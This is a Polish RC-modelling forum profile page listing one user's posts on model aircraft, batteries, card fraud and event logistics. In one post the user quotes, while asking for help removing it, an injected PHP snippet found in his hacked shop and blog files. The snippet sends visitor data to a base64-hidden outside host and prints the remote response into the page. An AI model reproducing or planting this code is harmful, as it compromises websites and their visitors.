Skocz do zawartości

Mars_2000

Modelarz
  • Postów

    754
  • Rejestracja

  • Ostatnia wizyta

  • Wygrane w rankingu

    2

Treść opublikowana przez Mars_2000

  1. Parę praktycznych informacji dla tych forumowiczów, którzy planują wypad na RBAR-a do Trójmiasta samochodem. Jeśli ktoś zamierza jechać z centralnej/południowej części kraju autostradą A1 i uciekać z korka przed bramkami w Rusocinie (który zapewne tam powstanie) zjeżdżając np. w Stanisławiu lub jeszcze wcześniej w Swarożynie i dalej planując dojazd do Gdyni krajową 91, to musi również uważać i uwzględnić dodatkowy czas, bo w Tczewie właśnie rozpoczął się remont tej DK i są objazdy , ruch wahadłowy i tworzą się przez to mocne zatory. Z kolei dojazd w miejsce samej imprezy autem raczej będzie niemożliwy, bo w Gdyni jest stosunkowo mało dużych parkingów. Sugeruję pomyśleć o pozostawieniu auta gdzieś w okolicy Gdyni Redłowa lub Orłowa i stamtąd przejazd autobusem miejskim lub SKM-ką w kierunku Gdyni Wzgórza Św. Maksymiliana lub Gdyni Głównej lub od przeciwnej strony , szukać parkingu gdzieś w okolicach przystanków Gdynia Chylonia, Leszczynki, Grabówek , Stocznia i również dojechać autobusem/trolejbusem lub kolejką. Następnie, nad bulwar lub plażę miejską dojdziecie sobie spacerem w 10-15 minut od wspominanych przystanków SKM (Gdynia Wzgórza Św. Maksymiliana lub Gdynia Główna). Aaaaaa...i taka ciekawostka Dzwoniłem dzisiaj do muzeum - Akwarium Morskiego w Gdyni, które jest usytuowane na końcu Skweru Kościuszki i ma bardzo fajny taras widokowy na zatokę, gdyńską plażę, całą marinę i pas wodny wzdłuż bulwaru gdzie odbędą się zawody. Otóż samo muzeum będzie normalnie otwarte dla zwiedzających w te dni, natomiast właśnie na ich tarasie zostaje utworzona strefa VIP. Więc, jeśli ktoś wpadł na pomysł, że kupi sobie bilety za parę PLNów do muzeum i dzięki temu będzie miał idealną miejscówkę, to niech o tym zapomni .
  2. Uważam, że absolutnie nie ma takiej potrzeby. Bulwar jest długi i dość szeroki. Dobra widoczność gwarantowana praktycznie z każdego miejsca. Ja chyba udam się na jego koniec, aby widzieć samoloty robiące pętle przy nawrocie na przelot powrotny pomiędzy pylonami.
  3. Bulwar + plaża w zupełności powinny wystarczyć. Zaleta tej imprezy jest taka, że nie musisz być nad samym brzegiem morza, aby dobrze widzieć. Oczywiście, jak pogoda będzie ładna to i turystów/widzów będzie co nie miara i z pewnością może być ciasno. Ja zamierzam być tam od wczesnego przedpołudnia z GoPro na głowie i aparatem przy oku Faktycznie własne fotki, to jednak ... własne, pamiątkowe, a nie download'y z netu.
  4. Ja bym pokusił się o dołożenie efektów specjalnych typu promień lasera i ekspolozja i normalnie masz Star Treka część XXXII. A tak na poważnie, to szkoda modelu, chociaż myślę że Robert "przekuje" tą porażkę w jakiś spektakuarny sukces prezentując nam ulepszonego Talona już wkrótce.
  5. Moim zdaniem niestety, dużo i raczej nie da się tego zrobić w warunkach polowych w krókim czasie (przynajmniej mając ten model, ja sobie tego nie wyobrażam). Generalnie, ich demontaż bądź montaż nie jest jakąś skomplikowaną czynnością , ale to jednak pochłonie dość sporo czasu , bo trochę tych śrubek jest do przykręcania (które dodatkowo, powininny być zabezpieczone klejem typu loctitle w celu uniknięcia ich poluzowania). Dodatkowo, przy takiej ważnej czynności , robiąc coś na tzw. kolanie łatwo o błąd lub przeoczenie któregoś z połączeń i może być potem nieprzyjemnie w powietrzu. Jeśli nie masz możliwości transportu modelu w całości, to ja odradzam Ci pakowanie się w jego zakup. Prędzej pomyśl o "zwykłym" akrobacie centropłatowym z PA (Extra 260 albo Katana), gdzie skrzydła zdemontujesz bez probblemu.
  6. Arku, Powiadom bank , natychmiast. Paypal, to tylko instytucja pośredniczenia w przekazie pieniędzy, a reklamację na nieautoryzowaną transakcję wyjaśniaj (składaj) do banku. Zastrzeż kartę, bo jej odpięcie od paypala może nie wystarczyć (jeśli złodzieje mają jej dane wraz z kodem autoryzującym z rewersu). Miałem kilka lat temu bardzo podobną historię, przy czym wartość transakcji była na kwotę przeszło 1800 PLN i była to suma kilku mniejszych płatności zarejestrowanych w ciągu kilku dni. Po wyjaśnieniu całości okazało się , że wykupywałem w firmie zarejestrowanej w Meksyku reklamy płatne na facebooku Prawdopodobnie zeskanowano mi kartę za granicą , na wakacjach, bo właśnie zaraz po powrocie do kraju te obciążenia zaczęły się pojawiać. Dodatkowo, mój problem był taki, że wówczas nie posiadałem opcji natychmiastowego powiadamiania mailem lub smsem o dokonywanych transakcjach i cała sprawa wyszła na jaw dopiero przy okazji otrzymania wyciągu, a więc trochę późno. Ale, na szczęście, wszystko skończyło się pozytywnie i to zaledwie na poziomie złożonej pisemnej reklamacji do banku (Citibank), a nie do paypal'a. Oczywiście najpierw (po otrzymaniu wyciągu) wykonałem telefon na infolinię, dokonałem natychmiastowego zastrzeżenia karty, słownie wyjaśniłem zaistniałą sytuację i następnie wypełniłem i odesłałem faksem otrzymany formularz reklamacyjny i krótkie pisemko. Po 2 tygodniach całe obciążenie zostało mi anulowane, a kurier dostarczył nową kartę . Tak więc Arku, kontaktuj się z bankiem przede wszystkim. Wyjaśnij co się stało i to bank powinien Ci pomóc. Poza tym, o ile też dobrze kojarzę, to większość kart kredytowych posiada tzw. ochronę na wypadek nieautoryzowanej transakcji nawet do 3 dni wstecz, którą bank na Twoje (oczywiście uzasadnione/wyjaśnione zgłoszenie) cofa.
  7. Panowie, Dzięki za odpowiedzi i info.
  8. Czyli, wystarczy wymienić wtyczkę na nową (z czym nie będzie większego problemu) i pakiet może być dalej normalnie użytkowany ?
  9. To ja się podepnę pod temat Irka, bo w dniu wczorajszym spotkała mnie podobna historia z pakietem 3S1P. Przy czym , o ile dobrze to spostrzegłem , to u mnie powstało coś jak łuk elektryczny (jasnoniebieski milisekundowy płomień o wys. 3-4 cm) przy przypadkowym zbliżeniu wtyczki do odkrytych śrub mocujących węglowe wsporniki skrzydła. Z pewnością nie było typowego iskrzenia jakie zwykle występuje przy zwarciu dwóch biegunów. Przestraszyłem się nie na żarty , bo zdarzyło się to podczas wyjmowania pakietu z modelu w pomieszczeniu zamkniętym. Natychmiast po tym powędrował on do metalowej puszki i do specjalnej ochronnej torby na lipole, tak profilaktycznie, jakby jednak zechciało mu się z jakiś powodów zapalić. Na szczęście nic takiego nie nastąpiło, więc dzisaj go zacząłem sprawdzać. I widzę, że wtyczka DC3 jest lekko okopocna: Innych uszkodzeń nie ma (przewody OK, płytka przy celach podobnie i poszczególne ogniwa są równe i trzymają napięcie). Powiem szczerze, że nie wiem co robić. Czy taki pakiet (a jest to nienajtańszy Dualsky 11.1V 45C z serii GTS) nadaje się do użytku po takim zdarzeniu? Pytam, bo jest to praktycznie nówka sztuka, która była kupiona na jesieni ubiegłego roku (przez co mało używana).
  10. Mars_2000

    Takie tam latanie

    Dzięki Auć chciałoby się powiedzieć . Ale wygląda, że chyba mocnych uszkodzeń nie było. Ja dzisiaj za to zacząłem sezon od....doprowadzania moich samolotów do używalności po "hibernacji" zimowej Mam nadzieję, że za tydzień, też będzie tak ładnie i wówczas już pojadę na lotnisko.
  11. Mars_2000

    Takie tam latanie

    A gdzie jest uwieczniony finał lądowania Fokkera ?
  12. Wow Ale Ci (cenzura) maszyna wyszła . Toć to zwrot o 180 stopni w porównaniu do oryginału. I z nieukrywaną przyjemnością pooglądam go sobie na żywo w tym sezonie.
  13. Ja mam dokładnie te pakiety jak w tytule. Póki co są używane niecały sezon w moim Ultimate z PA i w związku z tym nie mogę jeszcze ocenić czy i ew. jak bardzo tracą na swoich właściwościach, Póki co , to jednak nie zauważam w nich żadnych niepokojących objawów (np. puchnięcia). Za to podobnie jak jeden z przedmówców, to po pierwsze unikam ładowania ich prądem większym niż 2C (zwykle to jest 1C) i również nie ładuję ich zaraz po wyjęciu z modelu , jak są jeszcze ciepłe. I myślę, że w bieżącym sezonie zdecyduję się na dokupienie jeszcze 1-2 kolejnych.
  14. Mars_2000

    Dremel / Proxxon

    Dokładnie ! Obydwaj producenci mają w ofercie bardzo dobre urządzenia i żadna inna "hipermarketowa" opcja nie umywa się do nich. Ja w sumie zakupiłem Dremela pomimo tego, że przymiarki robiłem pod Proxxona, ale tylko dlatego że trafiła mi się okazja zakupu rozszerzonego zestawu z wężem giętkim za naprawdę nieduże pieniądze.
  15. Panowie, "Nie chcę chwalić dnia przed zachodem słońca" , ale jak na razie dzisiaj nie było "wklejki" złośliwego kodu Idąc za Waszymi radami, zapisane hasła w klientach FTP usunąłem i o dziwo jest spokój. Dodatkowo, po raz pierwszy od dłuższego czasu nie logowałem się do bloga czy cpanelu na koncie hostingowym przy użyciu blueconnecta (zwykle w ciągu dnia to robię w ten sposób , bo niestety, u mnie w pracy dostęp do wybranych stron poprzez tradycyjny LAN jest zablokowany i wówczas jedyne obejście tego zakzu jest możliwe poprzez połączenie sieciami 3G). Zauważyłem bowiem , że jak skorzystałem właśnie z BT, to mój wczoraj nowo zainstalowany anty-malware zgłasił próby wrzucenia mi na kompa jakiś trojanów czy plików malware. Może to było to ? Na ten moment nie pozostaje mi nic innego jak bacznie obserwować , co się będzie działo. Mam taką cichą nadzieję, że udało się zminimalizować ryzyko ponownej infekcji , dzięki zastosowaniu tych wszystkich środków. Jeszcze raz dziękuję za komentarze i rady
  16. Panowie. Dziękuję za szybki odzew Po pierwsze...hasła były zmienione na silne typu duże i małe litery, cyfry i znaki specjalne, ale dla wygody są zapisane w pamięci przeglądarek i teraz rozumiem, że to duży błąd. Klient FTP (filezilla) też ma zapisane łączenie z hasłem włącznie Zatem dzisiaj zrobię operację zmian haseł jeszcze raz i tym razem żadnego zapamiętywania ich gdziekolwiek indziej niż w głowie Komputery były przeskanowane kilkukrotnie (zresztą jest to robione cyklicznie). Do tego celu mamy oczywiście legalne programy antyvirusowe z McAfee poinstalowane na naszych laptopach i póki co nic one nie wychwyciły. Pobrałem też pełną zawartość z domeny na dysk twardy i przeskanowałem antywirusem i anty-malvare , w celu znalezienia czegoś podejrzanego. Efekt - zero, nic... czysto niczym w toalecie po potraktowaniu domestosem A znasz może jakieś komercyjne skrypty ? Popatrzę sobie również na wspominaną joomlę. Faktycznie, wordpress może jest i łatwy w obsłudze (zwłaszcza dla mojej żony), ale po tym wszystkim, to plan używania go na dłuższą metę chyba trzeba definitywnie zrewidować...
  17. Cześć, Szukam kogoś w gronie forumowiczów, kto byłby w stanie pomóc znaleźć mi rozwiązanie następującego problemu. Otóż, moja żona prowadzi małą działalność gospodarczą (sklep internetowy) i przy tej okazji autorskiego bloga hobbystycznego. Od jakiegoś czasu zauważyłem, że regularnie w plikach indeks.php zarówno w lokalizacji sklepu oraz w blogu (przynajmniej w tych znalazłem) pojawia się następujący kod, który chyba nie jest niczym dobrym: <?php if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $sUserAgen = ""; $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgen, 'google') == false)&&(strstr($sUserAgen, 'yahoo') == false)&&(strstr($sUserAgen, 'baidu') == false)&&(strstr($sUserAgen, 'msn') == false)&&(strstr($sUserAgen, 'opera') == false)&&(strstr($sUserAgen, 'chrome') == false)&&(strstr($sUserAgen, 'bing') == false)&&(strstr($sUserAgen, 'safari') == false)&&(strstr($sUserAgen, 'bot') == false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); @$stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } } ?><?php Piszę chyba, bo pierwszy raz jak doszło do zainfekowania plików php takim samym kodem (wiem to z porównania plików oryginalnych zaarchiwizowanych na dysku), to witryny aż trafiły na czarną listę google i wyświetlało się ostrzeżenie , że strony są potencjalnie niebezpieczne. A co to oznacza dla sklepu internetowego , to chyba tłumaczyć nie trzeba. Dopiero usunięcie powyższych kodów i zgłoszenie stron do przeskanowania w google admin tools spowodowało zdjęcie ostrzeżenia. Niestety, jak napisałem na początku kody "wracają". Nie pomogły zmiany wszystkich haseł (do ftp, głównych dostępowych do hostingu, adminów bloga czy sklepu), podobnie nic nie daje ustawienie atrybutu "read only" na infekowanych plikach. Kod zostaje w jakiś sposób doklejony i już. Doszło obecnie do sytuacji, że codziennie po parę razy wchodzę w cPanelu do aplikacji menadżera plików i sprawdzam te 2 pliki na hostingu czy są zmienione czy nie. Dodam tylko , że oprogramowanie sklepu jest licencjonowane (shoper.pl) , a za hosting odpowiada też w miarę znana firma (Netmark.pl). Natomiast po przeczesywaniu internetu doszedłem do wniosku, że chyba winowajcą będzie blog żony oparty na wordpresie , który jest umieszczony również na tej samej domenie. Ponoć wordpress jest słabo zabezpieczonym oprogramowaniem. Czy ktoś z szanownych forumowiczów zna się na tyle na tym wszystkim , aby podpowiedzieć co można zrobić aby pozbyć się tego dziadowstwa raz a dobrze ? Jeśli to 100% wordpress, to całowite usunięcie bloga nie wchodzi w grę, ale może jest jakiś sposób aby "napisać/utworzyć" go inaczej, całą zawartość przetransferować i oprogramowanie wordpressa wywalić ? Ja, niestety, informatykiem nie jestem i właśnie doszedłem do"kresu" swoich skromnych umiejętności , stąd to szukanie pomocy...
  18. Nie ma bata...piszę się na oblot tego "cudeńka". Robi niesamowite wrażenie. Daj znać proszę z kilkudniowym wyprzedzeniem, a nieomieszkam podjechać w rodzinne strony zobaczyć go w akcji.
  19. Kto by pomyślał, że doczekamy tej chwili ;-)
  20. Jako , że miałem kolejny raz okazję odwiedzić ostatnio "państwo środka" , to tym razem uległem pokusie nabycia 2-óch latawców, jakie na jednym z targów sprzedawano. Po lekkim targowaniu zapłaciłem za nie ostatecznie 100 RMB czyli jakieś 55 PLN . Trochę zabawy było z ich zapakowaniem do bagażu , bo główne pręty rozporowe ,pomimo tego że są dzielone na pół i sprężyste, to były na tyle długie, że musiałem nieźle się nakombinować aby zmieściły się do mojej walizki. Teraz wiem, że następnym razem muszę wziąć jeszcze większą. Dzisiaj , po tygodniu dość, hmmm... dupiastej , deszczowej pogody wreszcie się rozpogodziło i do tego ku radości córki było wietrznie. Zatem zabraliśmy nasze "maleństwa" na pobliskie pole i je ulotniliśmy. Muszę przyznać, że świetnie się bawiliśmy śmigając po niebie tymi barwnymi zwierzakami. Rozpiętość orła to 2 metry, smok jest ciut mniejszy i ma ok. 1.6m. Oba są bardzo lekkie, dzięki czemu już mały wietrzyk je skutecznie unosi w górę.
  21. Cześć, Jeśli faktycznie, tak jak piszesz, to ma być Twój pierwszy model i oprócz krótkiego latania pożyczonymi piankami nie masz większego doświadczenia w RC , to moja rada jest taka, abyś nie zabierał się za niego (jeszcze). Warbirdy są szybkie , niewybaczające błędów i na pewno nie nadają się na pierwszy model. Oczywiście, możesz go zmontować już teraz i przygotować do lotów na przyszły sezon, ale zanim to zrobisz, to powinieneś spróbować z czymś prostszym na początek. Np. jakimś zestawem górnopłata z EPP. Odnośnie narzędzi i akcesorii , to w instrukcji na stronie 3-ej masz całą listę tych niezbędnych i tych co dobrze byłoby mieć również. Taki minimalny , bez którego nie podchodziłbym do składania to: - klej CA rzadki - klej CA średni - żywica epoksydowa dwuskładnikowa 15-o lub 30-minutowa - nóż modelarski - jakieś szczypce, kombinerki, wkrętaki itp... - taśma malarska - linijki, ekierki, - wiertełko modelarskie - pilniki modelarskie drobne (okrągły, płaski) - 2 m linki lub cienkiej żyłki - mata do cięcia itp... I naprawdę przemyśl jeszcze raz temat i odpowiedz sobie szczerze czy jesteś gotowy na taki model już teraz. Bez urazy...ale moim zdaniem jeszcze nie.
  22. Taaaa.... Jest z niego kawał wielkiego bydlaka ;-) Bije wszystkie inne duże samoloty na głowę przestronnością , nowoczesnością itp... (przynajmniej te kupione przez Fly Emirates, które są na full wypasie) Ale ja osobiście nie lubię nim latać. Wolę np. popularne na liniach długodystansowych Airbusy A340. Powód dla mnie dość prozaiczny (praktyczny)...zwykle na lotach długodystansowych siadam sobie na skrajnym miejscu po boku w lewym lub prawym "ciągu" foteli. A ten ma aż 3 fotele , zamiast tylko dwóch jak w A340. To, niestety, oznacza 2x więcej "przeciskania" się pasażerów do toalety lub po bagaż podręczny, co jest dość uciążliwe w czasie 10-11 godzinnego lotu (zwłaszcza jak taki ktoś ma problemy lokomocyjne lub trochę innego typu ;-) )
  23. Obecnie mam chwilowy rozbrat z lataniem ze względu na wyjazd urlopowy. Ale w niedzielę, jeśli tylko pogoda dopisze, to powinienem kontynuować bliższe poznawanie jego zalet
  24. Dziękuję Wszystkim za komentarze. Rzeczywiście, póki co z modelem staram się obchodzić bardzo ostrożnie i przez to być może z pewną dozą nerwowości. Ale to przede wszystkim efekt tego, że to najdroższy model w moim hangarze oraz moich początkowych drobnych problemów z oblotem. Ale po kolei... Złożenie całości zajęło mi 2 dłuuuugie wieczory (zwykle kończyłem je o 2-ej w nocy). Duże brawa dla PA za czytelną i bardzo szczegółową instrukcję. Jak się jej używa, to pomyłka i błąd raczej się nie zdarzą. No właśnie...podkreślam słowa: "jak się jej używa" ;-) Mnie podkusiło do nieużycia jej tylko raz, do zmodyfikowania sposobu przymocowania goleni podwozia na śruby nylonowe w miejsce stalowych , co okazało się brzemienne w skutkach dla pierwszego oblotu. Chciałem bowiem zabezpieczyć się przed wyłamaniem belki mocującej w kadłubie bądź złamaniem podwozia w przypadku "twardszego" lądowania , co w takich okolicznościach dziewiczego lotu jest zwykle bardziej prawdopodobne. Niestety, nie wziąłem pod uwagę że standardowe śruby stalowe 3mm powinienem zastąpić raczej grubszymi nylonami. Efekt był taki, że 2 z nich, przy pierwszym przyziemieniu pękły, przez co lewa goleń podwinęła się pod kadłubem i ostro zakończona owiewka koła przebiła folię na dolnym skrzydle. Buu... Szczęśliwie stopień uszkodzeń był niewielki, że po szybkiej "wulkanizacji" zrobionej na kolanie, mogłem wykonać jeszcze 2 krótkie loty tego wieczora. Potem , już w domu , pęknięty kawałek folii zastąpiłem nowym i śladu praktycznie nie ma. To co szczególnie spodobało mi się przy montażu, to patent zastosowania zastrzałów z prętów węglowych przy domku na silnik, przez co praktycznie zabezpiecza się go przed przypadkowym wyrwaniem spowodowanym np. słabym jego przyklejeniem. Tu widać główny pręt idący przez całą szerokość kadłuba, a z drugiej strony firewalla są jeszcze 2 mniejsze wstawione. Tutaj mój domowy patent na wyważanie: I o to cały ukończony model: A tu jeszcze z drugim "modelem" , przepraszam... z modelką ;-) Postaram się również wstawić jakiś filmik z oblotu, bo kamerzysta też był pod tzw. ręką.
  25. Co tu dużo pisać... W lipcu , a dokładnie 17-go skończyłem 40 lat. Z tej okazji trafiła się...okazja ;-) na fajny prezent od rodzinki. Mój wybór był prosty. Model z Precision Aerobatics ! Od lat bowiem podobały mi się ich samoloty i stosowana technologia łączenia balsy z węglem. Jak się potem okazało, po tym pierwszym kroku zaczęły się moje "schody do nieba". Pierwsze schody, to decyzja czy ma to być Katana Midi, czy Extra 260 czy Ultimate AMR. Ostatecznie po godzinnych zmaganiach wewnętrznych wybrałem Ultmiate'a. Drugie to kolor...Jako że daltonistą nie jestem, zatem dla mnie "color counts" ;-) Szybka wizyta na stronce sklepu , który jest wyłącznym dystrybutorem , przegląd oferty i wybór pada na żółto-czarny schemat. Potem przegląd i dobór osprzętu. Mail do p. Grzegorza z prośbą o doradzenie i kiedy już wszystko zostało uzgodnione, "klik" na zakup całości przy tętnie 300/300. I kiedy tak jeszcze adrenalina mieszała się z radością to w ciągu 30 minut dostałem dwa szybkie ciosy a la Gołota poniżej pasa. Pierwszy cios, to telefon z przeprosinami, że na stronie sklepu jest błąd i modelu w wybranej kolorystyce nie ma. Ale jest powiew nadziei, bo są 3 inne dostępne , czyli czerwono-czarny, zielono-cz. i niebiesko-cz. Myślę sobie...czerwony jest , to fajnie, Na stronce było napisane, że go nie ma, więc pomimo tego że najbardziej mi się podobał żółty, a najmniej zielony i niebieski, to powiedziałem że taki też będzie OK. I teraz czas na drugi cios...15 minut po pierwszym. Jeszcze raz dzwoni właściciel sklepu i ponownie przeprasza, ale źle sprawdził kartony w magazynie i .... czerwonego też nie ma. Są tylko zielony i niebieski. Pomyślałem "WTF !!! Nie kupuję w końcu kilograma ziemniaków, a model za paręset złotych wraz z osprzętem za drugie tyle i oczekiwałbym prawidłowych informacji na stronie sklepu o jego stanie magazynowym." Moja żona prowadzi e-pasmanterię gdzie ma tysiące artykułów i wie dokładnie czego ile ma, a tu nie można doliczyć do 4-ech? Byłem zły, rozczarowany. Do tego stopnia, że czar zakupu prysł i anulowałem całe zamówienie. I następnego dnia przyszedł kac. Jednak nie poddałem się i po 3-ech kolejnych dniach poszukiwań znalazłem go w ... Danii . Szybka korespondencja ze sklepem, ustalony sposób i koszt wysyłki i w końcu jest ! Dotarł do mnie po 4-ech dniach od złożenia zamówienia: i ta "symbioza" balsy z włóknem węglowym Osprzęt zamówiłem tam gdzie też chciałem kupić model. Postanowiłem, że zaryzykuję i dam szansę na rehabilitację. I ostatecznie nie zawiodłem się. Była pomoc właściciela w doborze + coś jeszcze ;-) . Napęd stanowi rekomendowana jednostka Thrust 40 wraz z regulatorem Quantum 45. Do tego pakiet Dualsky 2250 mAh, serwa Hitec 65HB i kołpak węglowy. cd..jutro
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę.